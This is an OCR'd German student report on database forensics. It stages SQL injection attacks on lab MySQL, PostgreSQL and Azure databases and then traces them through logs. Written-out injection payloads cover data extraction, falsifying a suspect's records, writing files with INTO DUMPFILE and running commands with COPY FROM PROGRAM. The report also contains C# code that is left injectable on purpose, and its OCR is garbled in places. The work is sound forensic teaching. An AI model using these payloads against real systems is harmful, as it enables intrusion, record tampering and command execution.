o |dentifizieren der Tabellenstruktur der Tabelle “T_Forensik_Vorgaenge”

¢ Hinterlassen einer Warnmeldung in der Tabelle “T_Forensik_Vorgaenge”



¢ Hinterlassen einer persodnlichen Signatur als “Trophae” auf dem Dateisystem des
Servers

Identifizieren des DBMS
Da sie noch keine Hinweise auf die Art des DBMS hat, beginnt die Hackerin damit, Fehler zu
erzeugen um aus den resultierenden Fehlermeldungen Informationen zu gewinnen.

Verwendete Formulareingabe: ‘ (einfaches Hochkommata)
Ergebnis:
sqlalchemy.exc.Programn

sqlalchemy.exc.ProgrammingError: (JJEGM. connectc
near '%' ORDER BY P_Vorg Nr' at line 1
IS0l : SFIFCT P Vora Nr. Aktenreichen. Finlaufdat

Durch die resultierende Fehlermeldung vermutet sie, dass es sich um einen MySQL Server
handeln muss und verwendet im Anschluss geeignete Eingaben, um die Version des DBMS
und den Namen der aktuellen Datenbank zu erhalten.

Einzuschleusende Statements:

SELECT @@VERSION,;
SELECT DATABASE();

Verwendete Formulareingabe:

" AND 1=0 UNION SELECT DATABASE(), @ @VERSION, NULL, NULL;--

Ergebnis:
Vorgange
' AND 1=0 UNION SELECT database(), @ @VERSION, null,null ;--
Vorgangsnummer Aktenzeichen
rba 8.0.26

Identifizieren laufender Queries

Da die Hackerin nun detaillierte Informationen zum Betriebssystem hat, sie jedoch
Einzelheiten Uber laufende Queries erhalten will (z.B. das Query der Formulareingabe)
versucht sie diese zu ermitteln.

Einzuschleusendes Statement:

SELECT info
FROM information_schema.processlist;

Verwendete Formulareingabe:

" AND 1=0 UNION SELECT NULL, info, NULL, NULL
FROM information_schema.processlist;--

* AND 1=0 UNION SELECT null, info, null,null frem information_schema.processlist; -
None None
None SELECT P_Vorg_Nr, Aktenzeichen, Einlaufdatum, Auslaufdatum FROM

T_Forensik_Vorgaenge WHERE P_Vorg_Nr LIKE "%’ AND 1=0 UNION SELECT null, info,
null,null from information_schema.processlist




Identifizieren der Tabellenstruktur der Tabelle “T_Forensik_Vorgaenge”

Aus dem vorangegangenen Query hat die Hackerin erfahren, dass das Formular lediglich
Daten aus einer einzelnen Tabelle abfragt. Jetzt will sie wissen, welche Datentypen die
Tabelle beinhaltet.

Einzuschleusendes Statement:;

SELECT column_name, data_type
FROM information_schema.columns
WHERE table_name ='T_Forensik_Vorgaenge';

Verwendete Formulareingabe:

" AND 1=0 UNION SELECT column_name, data_type, NULL, NULL
FROM information_schema.columns WHERE table_name ='T_Forensik_Vorgaenge';--

Ergebnis:
vorgange

' AND 1=0 UNION SELECT column_name, data_type, null, null
Vorgangsnummer Aktenzeichen
Aktenzeichen varchar
Auslaufdatum date
Einlaufdatum date
F_Angest_Nr int
F_Delikt_Nr int
F_Dst_Nr int
F_Komm_Nr int
P_Vorg_Nr int

Hinterlassen einer Warnmeldung in der Tabelle “T_Forensik_Vorgaenge”

Da weder auf der Webseite noch in der Datenbank Kontaktinformationen zum Betreiber der
Seite hinterlegt sind, beschlief3t sie die Warnung direkt in die Tabelle zu setzen. Um dies
korrekt durchzufiihren entscheidet sie sich fir die Spalte “Aktenzeichen”, da dies den
einzigen VARCHAR in der Tabelle zur Verfliigung stellt.

Einzuschleusendes Statement:

INSERT INTO T_Forensik_Vorgaenge(P_Vorg_Nr, F_Angest_Nr, F_Delikt_Nr, F_Komm_Nr,
F_Dst_Nr, Aktenzeichen, Einlaufdatum, Auslaufdatum)
VALUES (1337,NULL, NULL, NULL, NULL, 'DB Vulnerable - fix pls!', CURDATE(), NULL);

Verwendete Formulareingabe:

“AND 1=0; INSERT INTO T_Forensik_Vorgaenge (P_Vorg_Nr, F_Angest_Nr, F_Delikt_Nr,
F_Komm_Nr, F_Dst_Nr, Aktenzeichen, Einlaufdatum, Auslaufdatum)

VALUES (1337,NULL, NULL, NULL, NULL, 'DB Vulnerable - fix pls!, CURDATE(),NULL);
COMMIT;--

Ergebnis:




Vorgangsnummer
Vorgangsnummer Aktenzeichen Einlaufdatum Auslaufdatum
1337 DB Vulnerable - fix pls! 2022-02-15 None

2021100 XXT36145-20 2020-04-29 2020-05-10

Hinterlassen einer persénlichen Signatur als “Trophde” auf dem Dateisystem des Servers
Die Hackerin hat sich angewohnt, als kleine Trophée eine personliche Signatur in Form einer
Datei auf einem von ihr betretenen System zu hinterlassen. Damit diese nicht beim nachsten
Neustart verschwindet, soll diese nicht im Temp-Verzeichnis hinterlegt werden. In diesem
Fall entscheidet sie sich fur einen Ordner, der vom DBMS selbst genutzt wird.

Einzuschleusendes Statement:

SELECT 'H4x1n3 ''was here \\o/ ', CONCAT(NOW(), " "),":-*'
INTO dumpfile 'fvar/lib/mysqgl/dont_touch_:-o';

Verwendete Formulareingabe:

" AND 1=0 UNION SELECT 'H4x1n3 ''was here \\o/', CONCAT (NOW(), " "),":-*' INTO
dumpfile 'fvar/lib/mysql/dont_touch_:-0';--

Ergebnis:

'#in

= mp D slalaly DoBo3 .00 client-kK .p
auto.cnf D i . .1 dont touch 0

dumm. txt

Forensische Aufarbeitung
Im Folgenden sollen Quellen genannt werden, in denen Spuren der SQL-Injections
nachgewiesen werden kdénnen.

Binary Log

Die Logdateien des Binary Logging und deren Speicherort werden in der Konfigurationsdatei
“‘my.cnf”’, bzw. “my.ini” definiert. Im vorliegenden Fall liegen sie im Verzeichnis /var/lib/mysql
und tragen den Namen binlog.{fortlaufende Nummer} (z.B. binlog.000038)

Zum Einsehen der Logdateien wird das Kommandozeilentool “mysqlbinlog” verwendet:
> mysqlbinlog $Dateiname

Da das Binary Logging hier im MIXED Modus betrieben wurde, werden auch DML
Statements, wie INSERT, mitprotokolliert. So kénnen aus den Logdateien Verdnderungen an
der Datenbank festgestellt werden, die wahrend der SQL-Injections durchgefihrt wurden.

Hier im Beispiel, das Einfiigen der Warnmeldung durch die Hackerin:

os 1427 CRC32 2e Query  thre:

, F Delikt Nr, F_Komm Nr, F Dst Nr, Akte
, NULL, NULL, NULL, 'DB Vulnerable -



file://///o

Aus der Logdatei ist sowohl das exakte SQL Statement als auch zugehdrige Zeitstempel
ersichtlich.

General Log

Durch das Aktivieren der Option “general_log” werden auch hier durchgefiihrte
Datenbankmanipulationen protokolliert. Die Logdatei hierzu befindet sich im Verzeichnis
Ivar/lib/mysql/.

Hier als Beispiel das Erstellen der Datei “dont_touch_:-0” im Verzeichnis /var/lib/mysql:

53 Query SELECT P Vorg Nr, Aktenzeichen, Einlaufdatum, Au
je WHERE P rg Nr LIKE AN UNION SELECT 'H4x1n3 ','w

:-*' dnto w:iil,HTu[inlE A" ny s ont touch :-o0';

Aus der Logdatei ist sowohl das exakte SQL Statement als auch zugehdrige Zeitstempel
ersichtlich.

Docker Logs
Docker selbst legt Logdateien fir laufende Container an. Im vorliegenden Fall werden diese
Logdateien auf dem Hostsystem im Pfad

Ivar/lib/docker/containers/$Containername/logs/

abgelegt.

Eingesehen werden kénnen sie via Terminal des Hostsystems mit dem Befehl:
Docker logs $Containername

Fuhrt man dies mit dem Container der WebApp aus, erhalt man dabei, u.a. Aufzeichnungen
Uber die vergangenen HTTP-Anfragen. Hier als Beispiel das Erstellen der Signaturdatei
durch die Hackerin:

r: Commands out of sync; you can't run this command now

" 500 -

Aus dem Logeintrag kbnnen Zeitstempel, IP-Adresse des Angreifers und die verwendete
Formulareingabe entnommen werden.

Flask Logging

Docker Logdateien werden im vorliegenden Fall bei jedem stoppen der Container geldscht.
Wird ein Container spéter wieder gestartet, erhélt er eine neue ID und neue Logdateien.
Deshalb kénnen die hier erstellten Logs als flliichtige Daten angesehen werden.

Aus diesem Grund wurde, wie oben dokumentiert, eine eigene Loggingfunktion in die Docker
WebApp integriert. Aus dieser kbnnen nahezu die gleichen Informationen gewonnen werden,
wie aus den von Docker erstellten Logeintragen. Hier als Beispiel das Erstellen der
Signaturdatei der Hackerin:

02-16 16:45:50,840 INFO we EI.I-£| Thread-4 : 192. = o 6/ 16:45:50] "

" 500 -

Weitere Informationsquelle
Neben dem Binary Log verfugt MySQL noch tber Ausfiihrungsplane. Es bietet jedoch keine
Moglichkeiten auf diese zuzugreifen.




PostgreSQL

Vorbereitung

Im zur Verfugung stehenden Docker-Image ist die Protokollierungsfunktion von PostgreSQL
nicht, bzw. nicht ausreichend aktiviert. Deshalb wurde "postgresql.conf‘ angepasst:

Shell-Verbindung mit dem PostgreSQL Container:

--upgradable' to see them.

In nano durchgefiihrte Anderungen in der Config Datei:

log_destination = ‘stderr’

logging_collector = on

log_directory = ‘log’

log_filename ="'postgresql-%Y-%m-%d_%H%M%S.log'
log_file_mode = 0600

log_rotation_age =0

log_rotation_size = 10MB

log_statement = ‘all’

Nach einem Neustart des Systems werden so samtliche Anfragen an den SQL-Server
protokoliert:

Szenario

Zur Durchfihrung von SQL-Injections an der eigenen Datenbank sollen Stationen des
Angriffs auf die Datenbank nachgestellt werden, bei dem ein Beschuldigter Namens “John
G.” seinen Namen aus der Vorgangsverwaltung tilgen will.

Als Stationen wurden dabei gewahlt:

¢ Identifizieren des Datenbanksystems



e |dentifizieren vorhandener Tabellen und derer Inhalte
e Verandern der Daten des Beschuldigten

Im Nachgang will sich der Beschuldigte noch tber den genauen Aufbau des
Datenbankservers informieren, um zu einem spateren Zeitpunkt, an dem die SQL-Liicke
maoglicherweise geschlossen wurde, weitere potenzielle Schwachpunkte zu identifizieren:

o Identifizieren des Betriebssystems
e |dentifizieren samtlicher installierter Pakete inklusive der Versionsnummern

Bestimmen des DBMS

Da aus der Fehlermeldung beim Einfligen eines Einfachen ' in das Formularfeld kein Hinweis
auf das DBMS zu entnehmen ist, versucht der Angreifer es durch Einfigen von DBMS-
typischen Anweisungen. So im Folgenden mit einer Anweisung fur PostgreSQL:

Einzuschleusendes Statement:
SELECT version();
Verwendete Formulareingabe:

" SELECT version();--

Ergebnis:

Vorgange
'y SELECT version();--
Vorgangsnummer Aktenzeichen Einlaufdatum  Auslaufdatum

PostgreSQL 12.8 (Debian 12.8-1.pgdg100+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian
8.3.0-6) 8.3.0, 64-bit

Alle Tabellen des Schemas “public” anzeigen lassen

Da “John G.” nun weil}, dass es sich um PostgreSQL handelt kann er mit seinem Angriff
fortfahren und bei seinen Téatigkeiten berlicksichtigen. Zunadchst versucht er sich einen
Uberblick tiber die Datenbankstruktur an sich zu erhalten:

Einzuschleusendes Statement:
SELECT table_name

FROM information_schema.tables
WHERE table_schema = 'public’;

Verwendete Formulareingabe:

" SELECT table_name

FROM information_schema.tables
WHERE table_schema = "public’
GROUP by table_name;--

Ergebnis:
Vorgange

'} SELECT table_name from information_schema tables WHERE table_schema = ‘public' GROUP by table_name;-- m

Vorgangsnummer Aktenzeichen

t_angestellte

t_asservate

t_beschuldigte

t_delikte

t_dienststellen




Nachdem er Uber das Formular auch current_database() abgefragt hat und weil3, dass die
aktive Datenbank den Namen "rba" tragt, kann er auch die Spaltennamen und deren

Dateitypen unter die Lupe nehmen:

Einzuschleusendes Statement:

SELECT column_name, data_type

FROM information_schema.columns

WHERE table_catalog = 'rba’ AND table_name ='t_personen’;

Verwendete Formulareingabe:

“SELECT column_name, data_type

FROM information_schema.columns

WHERE table_catalog = 'rba’ AND table_name ="'t_personen’;--

Ergebnis:

Vorgange
', SELECT column_name, data_type FROM information_schema.columns WHERE table_catalog = 'rba’ AND table_name = 't_personen’;—
Vorgangsnummer Aktenzeichen Einlaufdatum Auslaufdatum
p_pers_nr integer
vname character varying

nname character varying

Anzeigen von Tabelleninhalten

Da eine Ldschung seines Eintrages sehr auffallig ware, beschliel3t der Beschuldigte, seinen
Namen und das ihn betreffende Aktenzeichen mit bereits vorhandenen Daten eines anderen
Beschuldigten zu tberschreiben. Somit bliebe der Vorgang in der Verwaltung, wiirde jedoch
auf einen anderen Beschuldigten mit dessen Aktenzeichen verweisen. Er selbst wiirde dann

im System nicht mehr vorhanden sein.

Vorab muss "John G." aber feststellen welche anderen Beschuldigte im System sind:

Einzuschleusendes Statement:

SELECT P_Pers_Nr, Vname, Nname, Geburtsdatum
FROM T_Personen, T_Beschuldigte

WHERE P_Pers_Nr = PF_Beschuldigter_Nr;

Verwendete Formulareingabe:

" SELECT P_Pers_Nr, Vname, Nname, Geburtsdatum
FROM T_Personen, T_Beschuldigte

WHERE P_Pers_Nr = PF_Beschuldigter_Nr;--

Ergebnis:
Vorgéange

Vogangnrumnmar Ablwngvichen Einlautdstum Aarnlaaridatan




Verandern des Datenbankeintrags des Beschuldigten

"John G." ist erfreut, als er den Namen seines Rivalen "Carlo G." auf der Liste der
Beschuldigten ausmacht und beschlief3t, seinen Namen und Aktenzeichen mit dem von
"Carlo G.” zu ersetzen. Nachdem er auch das Aktenzeichen zum Vorgang G.‘s
herausgefunden hat, kann er seinen Plan in die Tat umsetzen:

Einzuschleusendes Statement:

UPDATE T_Personen

SET VName = 'Carlo’, NName = ‘G| |}
WHERE P_Pers_Nr = §;

UPDATE T_Forensik_Vorgaenge

SET Aktenzeichen = 'XX736145-20'
WHERE P_Vorg_Nr =2021101;

UPDATE T_Beschuldigte

SET Geburtsdatum = '1902-08-24'
WHERE PF_Beschuldigter Nr = 8;

Verwendete Formulareingabe:

" UPDATE T_Personen

SET VName = 'Carlo’, NName = ‘G| |}
WHERE P_Pers_Nr = 8§;

UPDATE T_Forensik_Vorgaenge
SET Aktenzeichen = 'XX736145-20'
WHERE P_Vorg_Nr =2021101;
UPDATE T_Beschuldigte

SET Geburtsdatum = '1902-08-24'
WHERE PF_Beschuldigter Nr = 8;
COMMIT;--

Ergebnis:
Nach dem Absetzen des Formularinhalts liefert SQL-Alchemy eine Fehlermeldung zuriick,
die Anderung in der Datenbank wird aber dennoch durchgefiihrt:

sqlalchemy.exc.ResourceClosedError

sqlalchemy.exc.ResourceClosedError: This result object does not return rows. It has been closed automatically.

Wi ganginumme Akpabrichen Exbauvidatom Auslaufdatum

A

Zugriff auf das Dateisystem des Servers

Nachdem "John G." bereits Zugriff auf das System hat und es spater moglicherweise noch
einmal nutzen will tragt er Informationen Uber den Server zusammen, die ihm helfen
konnten, wieder Zugriff zu erlangen, sollte die SQL-Liicke geschlossen werden.

Um an Informationen Uber das Betriebssystem des Servers zu gelangen liest er die Datei
/etc/os-release aus. Deren Inhalt soll in eine eigens erstellte Tabelle eingelesen und diese
anschlielRend ausgegeben werden:

Notiger Befehl: cat /etc/os-release




Verwendete Formulareingabe:

' DROP TABLE IF EXISTS temp;
CREATE TABLE temp(infos text);
COPY temp

FROM '/etc/os-release’;

SELECT *

FROM temp; --

Ergebnis:

Vorgange
', DROP TABLE IF EXISTS temp; CREATE TABLE temp(infos text); COPY temp FROM ‘etc/os-release’; SELECT * from temp;--
Vorgangsnummer Aktenzeichen Einlaufdatum A
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://wwmw.debian.org/"
SUPPORT_URL="https://www.debian.org/support”

BUG_REPORT_URL="https://bugs.debian.org/"

Ausfuhren von Code auf dem Datenbankserver

Er will auch nach moglicherweise vorhandener verwundbarer Software suchen, die fur
Exploits genutzt werden konnte. Deshalb sollen alle installierten Pakete und deren
Versionsnummern des gerade identifizierten Debian Systems aufgelistet werden.

Notiger Befehl: dpkg -l

Verwendete Formulareingabe:

' DROP TABLE IF EXISTS temp;
CREATE TABLE temp(dpkg text);
COPY temp

FROM PROGRAM 'dpkg -I';
SELECT * from temp; --

Ergebnis:
Vorgange
'; DROP TABLE IF EXISTS temp; CREATE TABLE temp(dpkg text); COPY temp FROM PROGRAM 'dpkg -I'; SELECT * from temp;--
Vorgangsnummer

Desired=Unknown/Install/Remove/Purge/Hold

| ont-filesil ~confHalf-institrig-aWait Trig-pend

[ Enr? quired (Status,Err

¥ Name Version Architecture Description

4+

iiadduser 3.118 all add and remove users and groups

ji apt 1.8.2.3 amd64 commandiine package manager

ii base-files 10.3+deb10u10 amd64 Debian base system miscellanecus files

ii base-passwd 3.5.46 amd64 Debian base system master password and group files
ii bash 5.0-4 and64 GNU Bourne Again SHell

i bsdutils 1:2.33.1-0.1 amd64 basic utilities from 4.4BSD-Lite

ii coreutils 8.30-3 amd64 GNU core utilities



Forensische Aufarbeitung PostgreSQL
Im Folgenden sollen Quellen genannt werden, in denen Spuren der SQL-Injections
nachgewiesen werden kdnnen.

PostgreSQL Log-Eintrage
Durch die im Voraus durchgefiihrten Anderungen an der PostgreSQL Configdatei ist
bekannt, dass die anfallenden Logdateien im Ordner

Ivar/lib/postgresql/data/log/

auflaufen.

Im vorliegenden Fall wird in dem Ordner bei jedem Start des PostgreSQL Dienstes eine
neue Logdatei erstellt:

Durch die getatigten Anderungen in der Configdatei werden hier jetzt auch samtliche
Anfragen an die Datenbank protokolliert. So auch durchgefiihrte Injections:
UTC [37] LOG:
ARCHAR), Aktenzeicher

SELECT version();-- &%

UTC [51] LOG:

0 UTC [51] L a g ( N CHAR A hen, Einlaufdatum, Ausla

nt: BEGIN
SELEC ST ( NI CHAR) , Ak El\ﬂ aufdatum, Ausla
nge WHERE C :

Docker Logs
Docker selbst legt Logdateien fir laufende Container an. Im vorliegenden Fall werden diese
Logdateien auf dem Hostsystem im Pfad

Ivar/lib/docker/containers/$Containername/logs/

abgelegt.

Eingesehen werden kénnen sie via Terminal des Hostsystems mit dem Befehl:
Docker logs $Containername

Fuhrt man dies mit dem Container der WebApp aus, erhalt man dabei, u.a. Aufzeichnungen
Uber die vergangenen HTTP-Anfragen:
" 404 -

e HTTP/1.1" 200 -
HTTF’ 1.1" 20

Die Logelntrage enthalten sowohl IP Adresse des anfragenden Cllents als auch Zeitstempel
und die exakten GET Anfragen. Daraus kdnnen potentielle SQLi identifiziert werden.
Allerdings ist darauf zu achten, dass Sonderzeichen (z.B. Klammern, Semikolon, etc.) durch
ihre entsprechenden ASCII Hex-Werte dargestellt werden.



Flask Logging

Docker Logdateien werden im vorliegenden Fall bei jedem stoppen der Container geldscht.
Wird ein Container spéter wieder gestartet, erhalt er eine neue ID und neue Logdateien.
Deshalb kénnen die hier erstellten Logs als flichtige Daten angesehen werden.

Aus diesem Grund wurde, wie oben dokumentiert, eine eigene Loggingfunktion in die Docker
WebApp integriert. Aus dieser kbnnen nahezu die gleichen Informationen gewonnen werden,
wie aus den von Docker erstellten Logeintragen.

SELECT++versi

LECT+P_P:

3-- HTTP/1.1"

Datenbankinhalt

Bei seiner Tat hat “John G.” die Struktur der Datenbank nicht berticksichtigt und dadurch
einen Fehler begangen, durch den ersichtlich ist, dass unbefugt an der Datenbank
Veranderungen durchgefuhrt wurden:

Die Datenbank ist so aufgebaut, dass jede Person nur einmal in der Personen- /
Beschuldigtentabelle geflihrt wird. Sind fur eine Person mehrere Vorgange vorhanden,
erhalten diese immer dieselbe Beschuldigtennummer (verknipft in der Tabelle
T_Forensik_Vorgaenge_Beschuldigte).

Da “John G.” jedoch seinen Namen komplett aus der Datenbank getilgt haben und die ihn
betreffenden Vorgénge seinem Rivalen “Carlo G.” zuweisen wollte, indem er seinen Namen
und Geburtsdatum durch das seines Rivalen ersetzt hat, treten in der Datenbank
Unregelmé&Rigkeiten in Form von Redundanzen auf:

RELRCY * PRom ot

Awdes PP e Wname e

-t SELECT * FROM "t_beschuldigte” LIMIT 38 Bearbei

Andern pf_beschuldigter_nr | geburtsdatum
e bearbeiten | 7 '1902—53—24 .

bearbeiten

©

1902-07-04
" bearbeiten | 10 1949-12-01
bearbeiten | 11 1910-10-01

bearbeiten | 14 1909-03-24

Ilgoz-oa-24 I

@

O . I a l bearbeiten

PostgreSQL Queries
Fur das hier gewahlte Szenario nicht relevant aber der Vollstandigkeit halber zu erwéhnen:

Neben vorhandenen Logdateien und dem Datenbankinhalt selbst, kénnen auch selbst
durchgefiihrte SQL Queries Aufschluss Uber mdgliche Veranderungen geben.
Voraussetzung daftir ist, dass man den Zustand vor einer Veranderung kennt.

Beispiele:
SELECT * FROM pg_user;-- Zeigt vorhandene Benutzerkonten an
SELECT * FROM pg_roles;-- Zeigt Benutzer und ihre Rollen an

Weitere Informationsquellen
PostgreSQL verflgt tber die Moglichkeit, Ausfiihrungsplane und Transaktionsprotokolle zu
fuhren.



Es wird jedoch keine Funktion bereitgestellt, um auf die Ausfihrungspléane zuzugreifen und
Transaktionsprotokolle sind standardmafig nicht aktiviert, kdnnen jederzeit abgeschaltet
werden und in neueren Versionen von PostgreSQL kénnen Tabellen als “UNLOGGED”
markiert werden. Hier werden dann keine SELECT, UPDATE oder DELETE Statements
protokolliert. Deshalb wird empfohlen, auf andere Quellen zur Informationsbeschaffung
zuriickzugreifen (vgl. Quellenangaben S. 483).

Auch das Write Ahead Log (WAL) von PostgreSQL bietet gute Mdglichkeiten an
Informationen, die fir die forensische Aufarbeitung nitzlich sein kénnen, zu gelangen.
Eingesehen werden kénnen WAL Dateien mit dem Tool “pg_waldump”, das die Daten des
WAL in menschlich lesbares Format konvertiert. Das Write Ahead Log befindet sich im
vorliegenden Dockersystem im Pfad /var/lib/postgresql/data/pg_wal und wird durch eine
einfache Datei aus Nullen und Einsen reprasentiert, die kontinuierlich befillt wird:

2c6f5del9E

oot@52c ar/l
0000000 1000000000000000]

re

Alternativ kann der WAL Stream Uber einen Logical Replication Slot eingesehen werden,
sofern dieser vorab konfiguriert wurde: https://stackoverflow.com/questions/36291676/query-
transaction-log-in-postgresql

Configure Syster

alter system set wal_level = logical;

alter system set max replication slots = 1;
R Serve

Create LRS
SELECT * FROM pg_create logical_replicatien_slot('slot', 'test decoding');

SELECT o rop._reptication stot('s1ot ) (Slot muss nur geldscht werden, wenn nicht mehr
bendtigt)

Abfragen des Slot_lnhalts SELECT * FROM pg_logical slot_get_changes('slot', NULL, NULL)

BEGIN 838

table public.t_forensik_vorgaenge: DELETE: p_vorg_nr{integer]:2021100

table public.t_forensik_vorgaenge_beschuldigte: DELETE: pf_vorg_nr[integer:2021100 pf_beschuldigter_nr[integer]:7

table public.t_asservate: UPDATE: p_ass_ni[integer]:2 f_ausp_nr[integer]:1 f_vorg_nr[integer]:null f_grt_typ_nr[integer]:2 kapazitaet[integer):32
table public.t_asservate: UPDATE: p_ass_ni[integer]:8 i_ausp_nr[integer]:1 i_vorg_nr[integer]:null f_grt_typ_nr[integer]:7 kapazitaet[integer]:32
COMMIT 838

Diese Methode enthélt jedoch keine Zeitstempel und kann nur einmalig angewendet werden,
da dieses Log nach jedem Zugriff bereinigt wird.

Wahlen Sie ein Datenbanksystem in einer Cloud. Sie kénnen
Ihre Cloud-DB-Installation aus dem Modul ,Datenbanken [*

nutzen...

Nachfolgend nochmal das zugrundeliegende ER-Diagramm aus vorherigem Modul (vgl. APL
vorheriges Semester):



https://stackoverflow.com/questions/36291676/query-transaction-log-in-postgresql
https://stackoverflow.com/questions/36291676/query-transaction-log-in-postgresql
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Die Entscheidung fiel auf Microsoft (MS) als Cloud-Anbieter mit seiner Cloud-Computing-
Plattform Azure und einem dahinterliegendem MS SQL Server. Fir weitere Details zum
Auswahlprozess siehe APL vorheriges Semester.

... Installieren Sie Ihre eigene Beispiel-Datenbank in der Cloud. Versuchen Sie eine
Web-Umgebung zu nutzen, um auf Ihre Cloud-DB zugreifen zu kdnnen.
Installation Cloud-DB

= Microsoft Azure £ Nach Ressourcen, Diensten und Dakumenten suchen (G /)

Azure-Dienste

e
Ressoucengrupp
-
Home > SQL-Datenbanken
SQL-Datenbank erstellen
priment
Grundeinstellungen  Netzwerk  Sicherheit  Zusatzliche Einstellungen Tags  Uberprifen + erstellen
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Home >

SQL-Datenbanken s
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Home > SQOL-Datenbanken >

SQL-Datenbank erstellen

Microsoft
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~ Michste Schritte

Erstellen einer neuen Datenbank in MS Azure. Dabei wird die kostenginstigste Konfiguration
gewabhilt.
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Nachdem die Datenbank erfolgreich angelegt wurde, kénnen die Data Definition und Data
Manipulation Language-Befehle gem. Bericht aus dem zugehérigen Modul tGber den in der
MS Azure Oberflache eingebauten Abfrage-Editor ausgeflihrt werden. Im vorherigen

Screenshot wurden bereits die Relationen inkl. Constraints angelegt und Daten eingefiigt.

Web-Umgebung

Als Web-Umgebung wurde eine Webapplikation mit Razor (C#) anhand folgender Guides
erstellt. Um den Fokus auf die eigentliche SQL-Injection-Thematik zu richten, wurde sich bei
der Anbindung der Datenbank explizit gegen das im Tutorial genannte Vorgehen
entschieden:

Anlegen des Projekts mit Visual Studio: https://docs.microsoft.com/en-
us/aspnet/core/tutorials/razor-pages/razor-pages-start?view=aspnetcore-6.0&tabs=visual-
studio

Tutorial: https://docs.microsoft.com/en-us/aspnet/core/razor-pages/?view=aspnetcore-
6.0&tabs=visual-studio

@page
@model IndexModel
@addTagHelper *, Microsoft.AspNetCore.Mvc.TagHelpers

of
}

ViewData[ "Title"] = "Home page";

<h2>Forensik Vorgdinge</h2>
<p>Gespeicherte Gerdtetypen</p>

<form method="post">
<div class="form-row">
<div class="col-11">
<input name="searchInputField" type="text" class="form-control"” placeholder="Modell Name" />
</div>
<div class="col">
<input type="submit" value="Suchen" class="btn btn-primary" />
</div>
</div>
</form>

<table>
<tr>
<th>P_Grt_Typ_Nr</th>
<th>F_Herst_Nr</th>
<th>Modell</th>
</tr>
@foreach (DataRow row in @Model.Geratetypen.Select())

<tr>
@foreach (var attributeValue in row.ItemArray)

<td>@attributeValue.ToString()</td>
}
</tr>

}
</table>


https://docs.microsoft.com/en-us/aspnet/core/tutorials/razor-pages/razor-pages-start?view=aspnetcore-6.0&tabs=visual-studio
https://docs.microsoft.com/en-us/aspnet/core/tutorials/razor-pages/razor-pages-start?view=aspnetcore-6.0&tabs=visual-studio
https://docs.microsoft.com/en-us/aspnet/core/tutorials/razor-pages/razor-pages-start?view=aspnetcore-6.0&tabs=visual-studio
https://docs.microsoft.com/en-us/aspnet/core/razor-pages/?view=aspnetcore-6.0&tabs=visual-studio
https://docs.microsoft.com/en-us/aspnet/core/razor-pages/?view=aspnetcore-6.0&tabs=visual-studio

C @ 0O O localhost

DblIForensikinDbs ~ Home  Privacy

Forensik Vorgange

Gespeicherte Geréitetypen

Modell Name

P_Grt_Typ_NrF_Herst_NrModell
E15
Pinephone
G5

Aspire
Cruzer
Cruzer
Eigenbau
Kperia

E15
Pinephone
G5

Aspire

© ® N e koW o

10
11
12
13
14
15
16

Cruzer
Cruzer

Eigenbau

P T I S U R - - A S N

CSHTML-Seite welche das Framework zu HTML transformiert. Die Seite besteht aus einem
Eingabefeld, einem Such-Button und einer Tabelle mit den Geratetypen. Im Eingabefeld wird
ein Modell Name eingegeben. Durch Klick auf den Such-Button wird eine SQL-Abfrage
ausgefuhrt, welche das Attribut ,Modell“ der Relation ,T_Geraetetypen® auf den jeweiligen
Eingabewert filtert. Das Ergebnis wird in der unteren Tabelle angezeigt.

using Microsoft.AspNetCore.Mvc;

using Microsoft.AspNetCore.Mvc.RazorPages;
using Serilog;

using System.Data;

using System.Data.SqlClient;

using System.Diagnostics;

namespace DbIIForensikInDbs.Pages

public class IndexModel : PageModel

{

private readonly ILogger<IndexModel> _logger;

[BindProperty]

public String SearchInput { get; set; }
//Singleton-Pattern einfiihren

[BindProperty]

public DataTable Geratetypen { get; private set; }

public const String Message = "PageModel in C#"; // Erhdlt autom. einen Getter. Eine Konstante kann keinen
Setter haben

private const String connectionString = "Data Source=datenbanken.database.windows.net;" +
"Initial Catalog=datenbanken;" +
"User id=datenbankenIIFor;" +
"Password=..; ";

// Konstruktor. Initialisiert Website.
public IndexModel (ILogger<IndexModel> Logger)
{

_Llogger = Llogger;

Geratetypen = FindAndReturnGeraetetypen();
}

// Diese Methode wird bei jedem Post-Aufruf der Applikation aufgerufen.

// In diesem Fall immer, wenn der "Suchen"-Button geklickt wird.

// Schichtentrennung (Service-, Datenhaltungsschicht) und Aufrufreihenfolge gem. Demeter-Prinzip sollte
eingefiihrt werden.

public void OnPost(String searchInputField)

{
// Error-Handling sollte eingefiigt werden, auch um fehlerbasierte
// SQL-Injection zu erschweren.
Geratetypen = FindAndReturnGeraetetypen(searchInputField);
}
private DataTable FindAndReturnGeraetetypen(String whereArgument = "%")
{

String sqlQuery = CreateAndLogSqlQuery(ref whereArgument);



}

// um SQL-Injection-Angriffe weiter zu erschweren, kénnte hier eine Methode zur
// Priifung des erstellten SQL-Statements eingefiigt werden.
// --> private Boolean validateSqlQuery()

return ExecuteSqlQuery(sqlQuery);

// Wenn der Nutzer eine leere Suche startet, werden alle Eintrdge angezeigt (hierfiir erfolgt eine Priifung).
// Erstellung und gibt das anhand der Nutzereingabe erstellte SQL-Statement zuriick.
private string CreateAndLogSqlQuery(ref string whereArgument)

{

}

string sqlQuery;

if (whereArgument ==
{

}

sqlQuery = "Select * FROM [dbo].[T_Geraetetypen] WHERE Modell LIKE \'" + whereArgument + "\'";

|| whereArgument == null)

whereArgument = "%";

_Llogger. LogInformation("SQL Transaktion: {@}", sqlQuery);

return sqlQuery;

private static DataTable ExecuteSqlQuery(string sqlQuery)

{

}

SqlCommand sqlCommand;

SqlDataAdapter adapter;

DataTable table = new DataTable();

SqlConnection connection = new SqlConnection(connectionString);

// Error-Handling sollte zur weiteren Hdrtung der Anwendung eingefiigt werden.
connection.Open();

sqlCommand = new SqlCommand(sqlQuery, connection);

using (adapter = new SqlDataAdapter(sqlCommand))

adapter.Fill(table);
}

// connection.Close(); // Schlieflen der Verbindung tempordr fir Vortrag deaktiviert, da ansonsten in
sys.dm_exec_connections nur die aktuelle Verbindung bzw. das aktuelle Statement
angezeigt wird.

// Durch deaktivieren dieses Statements wird die Verbindung nicht geschlossen und
in der Demo werden die beiden ausgeiifhrten SQL-Injection-Angriffe in einer
Verbindung angezeigt.

// --> Fiir Demo deaktiviert, damit die beiden ausgefiihrten Statements in einer
